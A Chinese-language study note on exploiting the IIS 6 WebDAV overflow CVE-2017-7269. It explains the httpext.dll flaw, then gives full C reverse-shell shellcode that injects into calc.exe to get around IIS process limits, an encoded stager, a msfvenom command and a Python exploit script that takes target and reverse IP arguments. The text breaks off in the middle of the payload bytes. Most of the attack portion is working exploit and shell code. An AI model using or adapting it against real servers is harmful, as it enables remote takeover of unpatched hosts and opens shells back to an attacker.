3月27日华南理工大学的研究人员公布了IIS6的一个栈溢出漏洞(CVE-2017-7269),在2003系统下开启WEBDAV的情况下,可以远程获取Network Service权限。

在尝试调试利用此漏洞的时候,我遇到了一些问题并进行了解决,现在把调试和解决方法记录下来作为学习笔记,以便日后总结复习。

漏洞简析

此漏洞出现在httpext.dll的ScStoragePathFromUrl,当发送PROPFIND请求后,IIS会把请求交给WEBDAV的扩展httpext.dll来处理,最终调用到HrCheckIfHeader:

1

HrCheckIfHeader回去调用CMethUtil::ScStoragePathFromUrl,作用大概是把URL映射到本地文件路径。

2

在ScStoragePathFromUrl的处理过程中对If头的内容没有正确处理,当出现以If: <http://开头的字符串时,复制过程中会导致栈溢出。

3

漏洞利用

网上给出此漏洞利用的一个poc:

https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py

利用三次ScStoragePathFromUrl溢出覆盖到IEcb类的虚函数表,最终在调用httpext!ScStripAndCheckHttpPrefix的时候执行到ROP链,rsaenh.dll中的ROP链最终跳转到shellcode执行。

4

这里的shellcode会被MultiByteToWideChar处理,所以必须编写能经过UNICODE转换的shellcode,可以使用msfvenom来生成shellcode:

msfvenom -p windows/exec CMD="calc.exe" EXITFUNC=thread -e x86/unicode_mixed BufferRegister=ESI

本来以为到这里漏洞利用很简单就会结束,但是改写exp的时候又遇到了一些问题,因此有了本文。

绕过限制

我用msfvenom生成反向回连的shellcode去替换原有shellcode,发现无法回连CMD SHELL,但是会有连接返回来,在目标机器上查看发现没有启动cmd.exe进程。同样用windows/exec payload启动cmd.exe也无法成功,这就奇怪了,难道IIS对启动进程做了限制?禁止w3wp.exe进程去启动cmd.exe?

后来有人发布了msf下的exp程序,试验却可以返回CMDSHELL,观察后发现msf并非直接启动cmd.exe,而是由w3wp启动notepad.exe,再由notepad来启动cmd.exe。这更证实了我的猜测,IIS对自身所创建的进程有限制,无法直接创建cmd进程。

于是我也改造自己的shellcode,由shellcode先创建一个calc.exe进程,然后把shellcode自身注入到这个进程中,在calc中把cmd.exe复制到其他目录,再由原始shellcode创建cmd副本。我用了TK教主的C语言编写shellcode框架(https://github.com/tombkeeper/Shellcode_Template_in_C),shellcode主要代码部分如下:

void ShellCode(EXTENSION_CONTROL_BLOCK *ecb)  //这里直接用IIS里的ECB控制块,后面解释为什么用这个
{
    struct  KERNEL32    Kernel32;
    struct  WS2_32      Ws2_32;

    int i;
    HMODULE hWs2_32;
    WSADATA wsaData;
    SOCKET s1;
    struct sockaddr_in hax;
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;
    LPVOID remote_shellcodePtr;
    CONTEXT ctx;
    //shellcode自身放在POST数据里,可以从ECB控制块中的lpbData里得到,后面详细解释
    unsigned char* shellcode = ecb->lpbData;
    int shellcodeLen = ecb->cbTotalBytes;

    DWORD   sz_Ws2_32[] = { 0x5f327377, 0x642e3233, 0x00006c6c };
    DWORD   sz_WSAStartup[] = { 0x53415357, 0x74726174, 0x00007075 };
    DWORD   sz_WSASocketA[] = { 0x53415357, 0x656b636f, 0x00004174 };
    DWORD   sz_WSAConnect[] = { 0x43415357, 0x656e6e6f, 0x00007463 };
    DWORD sz_inet_addr[] = { 0x74656e69, 0x6464615f, 0x00000072 };
    DWORD sz_htons[] = { 0x6e6f7468, 0x00000073 };
    DWORD sz_Cmd[] =  //C:\Windows\System32\cmd.exe
    {
        0x575c3a43, 0x6f646e69, 0x735c7377, 0x65747379, 0x5c32336d, 0x2e646d63,
        0x00657865
    };
    DWORD sz_Calc[] =  //C:\Windows\System32\calc.exe
    {
        0x575c3a43, 0x6f646e69, 0x735c7377, 0x65747379, 0x5c32336d, 0x636c6163,
        0x6578652e, 0x00000000
    };
    //sz_Tmp是把cmd.exe复制到IIS Temporary Compressed Files下面的副本,这个目录对于IIS_WPG是可写的
    DWORD sz_Tmp[] =  //C:\WINDOWS\IIS Temporary Compressed Files\c.exe
    {
        0x575c3a43, 0x4f444e49, 0x495c5357, 0x54205349, 0x6f706d65, 0x79726172,
        0x6d6f4320, 0x73657270, 0x20646573, 0x656c6946, 0x2e635c73, 0x00657865
    };
    char *sz_Ip;
    DWORD dwPort = 4444;
    //回连地址放在shellcode末尾,以便修改
    _asm{
    jmp calladdr
backaddr:
    pop edi
    mov sz_Ip,edi
    }
    Kernel32.BaseAddr = GetKernel32Base();

    //Kernel32.LoadLibraryA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_LoadLibraryA);
    Kernel32.GetModuleHandleA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetModuleHandleA);
    Kernel32.GetProcAddress = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetProcAddress);
    Kernel32.CopyFileA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_CopyFileA);
    Kernel32.CreateProcessA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_CreateProcessA);
    Kernel32.ExitThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_ExitThread);
    Kernel32.ResumeThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_ResumeThread);
    Kernel32.SuspendThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_SuspendThread);
    Kernel32.GetThreadContext = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetThreadContext);
    Kernel32.VirtualAllocEx = GetProcAddrByHash(Kernel32.BaseAddr, HASH_VirtualAllocEx);
    Kernel32.WriteProcessMemory = GetProcAddrByHash(Kernel32.BaseAddr, HASH_WriteProcessMemory);
    Kernel32.SetThreadContext = GetProcAddrByHash(Kernel32.BaseAddr, HASH_SetThreadContext);
    Kernel32.Sleep = GetProcAddrByHash(Kernel32.BaseAddr, HASH_Sleep);

    //下面开始真正的shellcode部分,首先获取ws2_32.dll模块的地址,因为在calc.exe进程中是没有加载这个模块的,所以可以判断出shellcode当前是运行在w3wp.exe中还是calc.exe中。
    hWs2_32 = Kernel32.GetModuleHandleA(sz_Ws2_32);
    if(hWs2_32!=NULL) //in w3wp.exe
    {
        //在w3wp.exe中就是shellcode第一次运行,以SUSPENDED方式创建calc.exe进程
        for(i=0;i<sizeof(sui);i++)
        {
            *((char *)&sui+i)=0;
        }
        for(i=0;i<sizeof(pi);i++)
        {
            *((char *)&pi+i)=0;
        }

        Kernel32.CreateProcessA(sz_Calc, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &sui, &pi);

        Kernel32.ResumeThread(pi.hThread);
        Kernel32.Sleep(1000);
        Kernel32.SuspendThread(pi.hThread);
        ctx.ContextFlags = CONTEXT_CONTROL;
        Kernel32.GetThreadContext(pi.hThread, &ctx);
        //在calc进程中分配内存空间存放shellcode
        remote_shellcodePtr = Kernel32.VirtualAllocEx(pi.hProcess, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Kernel32.WriteProcessMemory(pi.hProcess, remote_shellcodePtr, shellcode, shellcodeLen, NULL);
        //把EIP设置成shellcode地址,并回复执行
        ctx.Eip = (DWORD)remote_shellcodePtr;
        ctx.ContextFlags = CONTEXT_CONTROL;
        Kernel32.SetThreadContext(pi.hThread, &ctx);
        Kernel32.ResumeThread(pi.hThread);
    }
    else //in calc.exe
    {
        //在calc.exe中只做一件事,把cmd.exe复制到IIS Temporary Compressed Files到目录下
        Kernel32.CopyFileA(sz_Cmd, sz_Tmp, FALSE);
        Kernel32.ExitThread(1);
    }
    //在w3wp中继续运行shellcode,此时calc中的shellcode已经把cmd.exe复制到了IIS Temporary Compressed Files目录下的c.exe文件
    Kernel32.Sleep(3000);    
    //回连我们的机器,并执行IIS Temporary Compressed Files\c.exe,后面就和一般的反连shellcode没区别了
    Ws2_32.WSAStartup = Kernel32.GetProcAddress(hWs2_32, sz_WSAStartup);
    Ws2_32.WSASocket = Kernel32.GetProcAddress(hWs2_32, sz_WSASocketA);
    Ws2_32.WSAConnect = Kernel32.GetProcAddress(hWs2_32, sz_WSAConnect);
    Ws2_32.inet_addr = Kernel32.GetProcAddress(hWs2_32, sz_inet_addr);
    Ws2_32.htons = Kernel32.GetProcAddress(hWs2_32, sz_htons);

    Ws2_32.WSAStartup(MAKEWORD(2, 2), &wsaData);
    s1 = Ws2_32.WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    hax.sin_port = Ws2_32.htons(dwPort);
    hax.sin_addr.s_addr = Ws2_32.inet_addr(sz_Ip);

    Ws2_32.WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    //memset(&sui, 0, sizeof(sui));
    for(i=0;i<sizeof(sui);i++)
    {
        *((char *)&sui+i)=0;
    }
    sui.cb = sizeof(sui);
    sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
    Kernel32.CreateProcessA(NULL, sz_Tmp, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
    Kernel32.ExitThread(1);
    _asm{
calladdr:
    call backaddr
    _emit(0x31);  //这里分配一些字节用于存放回连IP,便于在攻击中修改
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x31);
    _emit(0x00);
    }
}

整个shellcode的思路就是这样:

1. 创建calc.exe进程,把自身shellcode注入到calc.exe中运行

2. 在calc.exe进程中把cmd.exe复制到IIS Temporary Compressed

Files目录下的c.exe,这样就绕过了w3wp.exe不能执行cmd.exe的限制

3. 在w3wp.exe中继续执行原shellcode,运行c.exe并回连

还遇到一个问题,就是实际攻击中回连IP经常是要改动的,所以这个需要在exp中可指定才行。而我们的shellcode要经过可转UNICODE的ASCII字符编码的,这样每次生成shellcode之后用alpha2进行编码就特别不方便。因此,我把shellcode分成两段,最先执行的一段小shellcode负责找到真正的shellcode,回连功能放在真正的shellcode中,这样功能shellcode就不需要编码了,可以随意改动,问题是如何从小shellcode找到真正的shellcode。

答案就是使用IIS的ECB控制块。ECB是IIS的ISAPI扩展模块中使用到的一个数据结构,ECB存放了IIS中关于HTTP协议的重要数据和函数指针,包括QUERYSTRING和POST数据以及所有HTTP头都可以通过这个结构获取,他定义在httpext.h文件中:

typedef struct _EXTENSION_CONTROL_BLOCK {

    DWORD     cbSize;                 // size of this struct.
    DWORD     dwVersion;              // version info of this spec
    HCONN     ConnID;                 // Context number not to be modified!
    DWORD     dwHttpStatusCode;       // HTTP Status code
    CHAR      lpszLogData[HSE_LOG_BUFFER_LEN];// null terminated log info specific to this Extension DLL

    LPSTR     lpszMethod;             // REQUEST_METHOD
    LPSTR     lpszQueryString;        // QUERY_STRING
    LPSTR     lpszPathInfo;           // PATH_INFO
    LPSTR     lpszPathTranslated;     // PATH_TRANSLATED

    DWORD     cbTotalBytes;           // Total bytes indicated from client
    DWORD     cbAvailable;            // Available number of bytes
    LPBYTE    lpbData;                // pointer to cbAvailable bytes

    LPSTR     lpszContentType;        // Content type of client data

    BOOL (WINAPI * GetServerVariable) ( HCONN       hConn,
                                        LPSTR       lpszVariableName,
                                        LPVOID      lpvBuffer,
                                        LPDWORD     lpdwSize );

    BOOL (WINAPI * WriteClient)  ( HCONN      ConnID,
                                   LPVOID     Buffer,
                                   LPDWORD    lpdwBytes,
                                   DWORD      dwReserved );

    BOOL (WINAPI * ReadClient)  ( HCONN      ConnID,
                                  LPVOID     lpvBuffer,
                                  LPDWORD    lpdwSize );

    BOOL (WINAPI * ServerSupportFunction)( HCONN      hConn,
                                           DWORD      dwHSERequest,
                                           LPVOID     lpvBuffer,
                                           LPDWORD    lpdwSize,
                                           LPDWORD    lpdwDataType );

} EXTENSION_CONTROL_BLOCK, *LPEXTENSION_CONTROL_BLOCK;

其中lpbData就是POST数据的指针,我们只需要把真正的shellcode放在POST数据的位置,并把ECB指针传给小shellcode即可。现在的问题就是如何找到ECB指针。其实ECB是ISAPI里非常容易用到的一个结构,我们在原始栈里面的固定便宜就非常容易找到了。原始栈可以通过TEB来获取。

5

因此整个小shellcode如下:

    __asm{
            mov ecx,fs:[18h] //取TEB
            mov ecx,[ecx+4]  //堆栈地址
            sub ecx,324h     //-324的地方存放着ECB指针
            mov eax,[ecx]    //eax->ECB
            mov esi,[eax+78h]//ECB偏移0x78的地方是lpbData,也就是我们真正shellcode
            mov ecx,[eax+74h]//ECB偏移0x74的地方是cbAvailable,也就是shellcode长度
            jmp callbk
gotip:
            pop edi
            mov edx,edi
            rep movsb       //因为DEP限制,POST在数据段里面的shellcode是无法直接执行的,我们把shellcode复制到代码能执行的地址来
            push eax        //把ECB指针作为参数,去调用Shellcode,这样我们在shellcode中就可以直接用
            call edx        //这就是void ShellCode(EXTENSION_CONTROL_BLOCK *ecb)的由来
callbk:
            call gotip
            nop
            nop
            nop
            nop
    }

在IIS的溢出中获取ECB的好处不仅仅是方便定位shellcode,ECB中的ReadClient和WriteClient这两个函数指针可以直接对HTTP数据流进行读写,这样我们的shellcode就可以做到不开端口不回连,直接利用HTTP数据通道进行通信,对于有防火墙限制回连的目标来说,是不是很爽呢?

上面的小shellcode经过提取和ALPHA2编码后,变成了:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A

用这段shellcode去替换原始poc中的那段,然后把真正的shellcode放在请求最末尾POST数据的位置,这样就可以通过小shellcode找到真正的shellcode执行。整个exp程序如下:

import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'usage:iis6webdav.py targetip targetport reverseip reverseport\n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='\x55\x8B\xEC\x81\xEC\xDC\x05\x00\x00\x53\x56\x57\x8B\x45\x08\x8B'+\
'\x40\x78\x89\x85\xE4\xFA\xFF\xFF\x8B\x45\x08\x8B\x40\x70\x89\x45'+\
'\xFC\xC7\x85\xC8\xFC\xFF\xFF\x77\x73\x32\x5F\xC7\x85\xCC\xFC\xFF'+\
'\xFF\x33\x32\x2E\x64\xC7\x85\xD0\xFC\xFF\xFF\x6C\x6C\x00\x00\xC7'+\
'\x85\xD8\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\xDC\xFA\xFF\xFF\x74'+\
'\x61\x72\x74\xC7\x85\xE0\xFA\xFF\xFF\x75\x70\x00\x00\xC7\x85\x58'+\
'\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\x5C\xFA\xFF\xFF\x6F\x63\x6B'+\
'\x65\xC7\x85\x60\xFA\xFF\xFF\x74\x41\x00\x00\xC7\x85\xE8\xFC\xFF'+\
'\xFF\x57\x53\x41\x43\xC7\x85\xEC\xFC\xFF\xFF\x6F\x6E\x6E\x65\xC7'+\
'\x85\xF0\xFC\xFF\xFF\x63\x74\x00\x00\xC7\x85\xA8\xFA\xFF\xFF\x69'+\
'\x6E\x65\x74\xC7\x85\xAC\xFA\xFF\xFF\x5F\x61\x64\x64\xC7\x85\xB0'+\
'\xFA\xFF\xFF\x72\x00\x00\x00\xC7\x85\x14\xFD\xFF\xFF\x68\x74\x6F'+\
'\x6E\xC7\x85\x18\xFD\xFF\xFF\x73\x00\x00\x00\xC7\x85\xF4\xFC\xFF'+\
'\xFF\x43\x3A\x5C\x57\xC7\x85\xF8\xFC\xFF\xFF\x69\x6E\x64\x6F\xC7'+\
'\x85\xFC\xFC\xFF\xFF\x77\x73\x5C\x73\xC7\x85\x00\xFD\xFF\xFF\x79'+\
'\x73\x74\x65\xC7\x85\x04\xFD\xFF\xFF\x6D\x33\x32\x5C\xC7\x85\x08'+\
'\xFD\xFF\xFF\x63\x6D\x64\x2E\xC7\x85\x0C\xFD\xFF\xFF\x65\x78\x65'+\
'\x00\xC7\x85\x18\xFB\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\x1C\xFB\xFF'+\
'\xFF\x69\x6E\x64\x6F\xC7\x85\x20\xFB\xFF\xFF\x77\x73\x5C\x73\xC7'+\
'\x85\x24\xFB\xFF\xFF\x79\x73\x74\x65\xC7\x85\x28\xFB\xFF\xFF\x6D'+\
'\x33\x32\x5C\xC7\x85\x2C\xFB\xFF\xFF\x63\x61\x6C\x63\xC7\x85\x30'+\
'\xFB\xFF\xFF\x2E\x65\x78\x65\x83\xA5\x34\xFB\xFF\xFF\x00\xC7\x85'+\
'\xE8\xFA\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\xEC\xFA\xFF\xFF\x49\x4E'+\
'\x44\x4F\xC7\x85\xF0\xFA\xFF\xFF\x57\x53\x5C\x49\xC7\x85\xF4\xFA'+\
'\xFF\xFF\x49\x53\x20\x54\xC7\x85\xF8\xFA\xFF\xFF\x65\x6D\x70\x6F'+\
'\xC7\x85\xFC\xFA\xFF\xFF\x72\x61\x72\x79\xC7\x85\x00\xFB\xFF\xFF'+\
'\x20\x43\x6F\x6D\xC7\x85\x04\xFB\xFF\xFF\x70\x72\x65\x73\xC7\x85'+\
'\x08\xFB\xFF\xFF\x73\x65\x64\x20\xC7\x85\x0C\xFB\xFF\xFF\x46\x69'+\
'\x6C\x65\xC7\x85\x10\xFB\xFF\xFF\x73\x5C\x63\x2E\xC7\x85\x14\xFB'+\
'\xFF\xFF\x65\x78\x65\x00\xC7\x85\xD0\xFA\xFF\xFF'+struct.pack('i',reverseport)+\
'\xE9\x3E\x04\x00\x00\x5F\x89\xBD\xB4\xFA\xFF\xFF\xE8\x4C\x04\x00'+\
'\x00\x89\x85\x24\xFA\xFF\xFF\x68\x53\xC0\x49\x9C\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x5D\x04\x00\x00\x59\x59\x89\x85\x28\xFA\xFF\xFF\x68'+\
'\x5A\xC1\xCB\xC2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x45\x04\x00\x00\x59'+\
'\x59\x89\x85\x2C\xFA\xFF\xFF\x68\x1C\xC9\x05\xBA\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x2D\x04\x00\x00\x59\x59\x89\x85\x30\xFA\xFF\xFF\x68'+\
'\x54\x34\x4F\xA2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x15\x04\x00\x00\x59'+\
'\x59\x89\x85\x34\xFA\xFF\xFF\x68\x12\x75\x1D\x45\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\xFD\x03\x00\x00\x59\x59\x89\x85\x38\xFA\xFF\xFF\x68'+\
'\xE9\x65\x73\x1B\xFF\xB5\x24\xFA\xFF\xFF\xE8\xE5\x03\x00\x00\x59'+\
'\x59\x89\x85\x3C\xFA\xFF\xFF\x68\x3A\xFD\xFB\x1E\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\xCD\x03\x00\x00\x59\x59\x89\x85\x40\xFA\xFF\xFF\x68'+\
'\xBD\x50\xD7\x2D\xFF\xB5\x24\xFA\xFF\xFF\xE8\xB5\x03\x00\x00\x59'+\
'\x59\x89\x85\x44\xFA\xFF\xFF\x68\xEF\x60\x08\xE7\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x9D\x03\x00\x00\x59\x59\x89\x85\x48\xFA\xFF\xFF\x68'+\
'\x83\x94\x7B\x10\xFF\xB5\x24\xFA\xFF\xFF\xE8\x85\x03\x00\x00\x59'+\
'\x59\x89\x85\x4C\xFA\xFF\xFF\x68\x49\x17\x55\xC0\xFF\xB5\x24\xFA'+\
'\xFF\xFF\xE8\x6D\x03\x00\x00\x59\x59\x89\x85\x50\xFA\xFF\xFF\x68'+\
'\xD9\xE5\x1A\x06\xFF\xB5\x24\xFA\xFF\xFF\xE8\x55\x03\x00\x00\x59'+\
'\x59\x89\x85\x54\xFA\xFF\xFF\x8D\x85\xC8\xFC\xFF\xFF\x50\xFF\x95'+\
'\x28\xFA\xFF\xFF\x89\x85\x1C\xFD\xFF\xFF\x83\xBD\x1C\xFD\xFF\xFF'+\
'\x00\x0F\x84\x39\x01\x00\x00\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D'+\
'\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4'+\
'\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x64'+\
'\xFA\xFF\xFF\x00\xEB\xDA\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D\x8B'+\
'\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4\xFA'+\
'\xFF\xFF\x10\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x20\xFD'+\
'\xFF\xFF\x00\xEB\xDA\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA'+\
'\xFF\xFF\x50\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A'+\
'\x00\x8D\x85\x18\xFB\xFF\xFF\x50\xFF\x95\x34\xFA\xFF\xFF\xFF\xB5'+\
'\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\x68\xE8\x03\x00\x00\xFF'+\
'\x95\x54\xFA\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x40\xFA\xFF'+\
'\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D\x85\x30\xFD\xFF'+\
'\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x44\xFA\xFF\xFF\x6A\x40'+\
'\x68\x00\x10\x00\x00\xFF\x75\xFC\x6A\x00\xFF\xB5\x20\xFD\xFF\xFF'+\
'\xFF\x95\x48\xFA\xFF\xFF\x89\x85\x10\xFD\xFF\xFF\x6A\x00\xFF\x75'+\
'\xFC\xFF\xB5\xE4\xFA\xFF\xFF\xFF\xB5\x10\xFD\xFF\xFF\xFF\xB5\x20'+\
'\xFD\xFF\xFF\xFF\x95\x4C\xFA\xFF\xFF\x8B\x85\x10\xFD\xFF\xFF\x89'+\
'\x85\xE8\xFD\xFF\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D'+\
'\x85\x30\xFD\xFF\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x50\xFA'+\
'\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\xEB\x1E'+\
'\x6A\x00\x8D\x85\xE8\xFA\xFF\xFF\x50\x8D\x85\xF4\xFC\xFF\xFF\x50'+\
'\xFF\x95\x30\xFA\xFF\xFF\x6A\x01\xFF\x95\x38\xFA\xFF\xFF\x68\x70'+\
'\x17\x00\x00\xFF\x95\x54\xFA\xFF\xFF\x8D\x85\xD8\xFA\xFF\xFF\x50'+\
'\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xBC\xFA'+\
'\xFF\xFF\x8D\x85\x58\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF'+\
'\x95\x2C\xFA\xFF\xFF\x89\x85\xC0\xFA\xFF\xFF\x8D\x85\xE8\xFC\xFF'+\
'\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85'+\
'\xC4\xFA\xFF\xFF\x8D\x85\xA8\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF'+\
'\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xC8\xFA\xFF\xFF\x8D\x85\x14'+\
'\xFD\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF'+\
'\x89\x85\xCC\xFA\xFF\xFF\x8D\x85\x38\xFB\xFF\xFF\x50\x68\x02\x02'+\
'\x00\x00\xFF\x95\xBC\xFA\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06'+\
'\x6A\x01\x6A\x02\xFF\x95\xC0\xFA\xFF\xFF\x89\x85\xD4\xFC\xFF\xFF'+\
'\x66\xC7\x85\xD8\xFC\xFF\xFF\x02\x00\xFF\xB5\xD0\xFA\xFF\xFF\xFF'+\
'\x95\xCC\xFA\xFF\xFF\x66\x89\x85\xDA\xFC\xFF\xFF\xFF\xB5\xB4\xFA'+\
'\xFF\xFF\xFF\x95\xC8\xFA\xFF\xFF\x89\x85\xDC\xFC\xFF\xFF\x6A\x00'+\
'\x6A\x00\x6A\x00\x6A\x00\x6A\x10\x8D\x85\xD8\xFC\xFF\xFF\x50\xFF'+\
'\xB5\xD4\xFC\xFF\xFF\xFF\x95\xC4\xFA\xFF\xFF\x83\xA5\xD4\xFA\xFF'+\
'\xFF\x00\xEB\x0D\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF'+\
'\xFF\x83\xBD\xD4\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF'+\
'\x80\xA4\x05\x64\xFA\xFF\xFF\x00\xEB\xDA\xC7\x85\x64\xFA\xFF\xFF'+\
'\x44\x00\x00\x00\xC7\x85\x90\xFA\xFF\xFF\x01\x01\x00\x00\x8B\x85'+\
'\xD4\xFC\xFF\xFF\x89\x85\xA4\xFA\xFF\xFF\x8B\x85\xA4\xFA\xFF\xFF'+\
'\x89\x85\xA0\xFA\xFF\xFF\x8B\x85\xA0\xFA\xFF\xFF\x89\x85\x9C\xFA'+\
'\xFF\xFF\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA\xFF\xFF\x50'+\
'\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x85\xE8\xFA'+\
'\xFF\xFF\x50\x6A\x00\xFF\x95\x34\xFA\xFF\xFF\x6A\x01\xFF\x95\x38'+\
'\xFA\xFF\xFF\xE8\xBD\xFB\xFF\xFF'+struct.pack('16s',reverseip)+'\x5F\x5E\x5B\xC9\xC3\x64\xA1\x18'+\
'\x00\x00\x00\x8B\x40\x30\x33\xC9\x8B\x40\x0C\x8B\x40\x1C\x8B\x00'+\
'\x8B\x50\x20\x66\x83\x7A\x10\x2E\x74\x06\x41\x83\xF9\x02\x7C\xEE'+\
'\x8B\x40\x08\xC3\x55\x8B\xEC\x53\x56\x57\x8B\x7D\x08\x83\x65\x08'+\
'\x00\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x70\x20\x03\xF7\x83'+\
'\x78\x18\x00\x76\x2A\x8B\x0E\x03\xCF\x33\xDB\x8A\x11\x84\xD2\x74'+\
'\x0B\x6B\xDB\x21\x0F\xBE\xD2\x03\xDA\x41\xEB\xEF\x3B\x5D\x0C\x74'+\
'\x15\x83\xC6\x04\xFF\x45\x08\x8B\x4D\x08\x3B\x48\x18\x72\xD6\x33'+\
'\xC0\x5F\x5E\x5B\x5D\xC3\x8B\x48\x24\x8B\x55\x08\x8B\x40\x1C\x8D'+\
'\x0C\x51\x0F\xB7\x0C\x39\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: %d\r\n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\x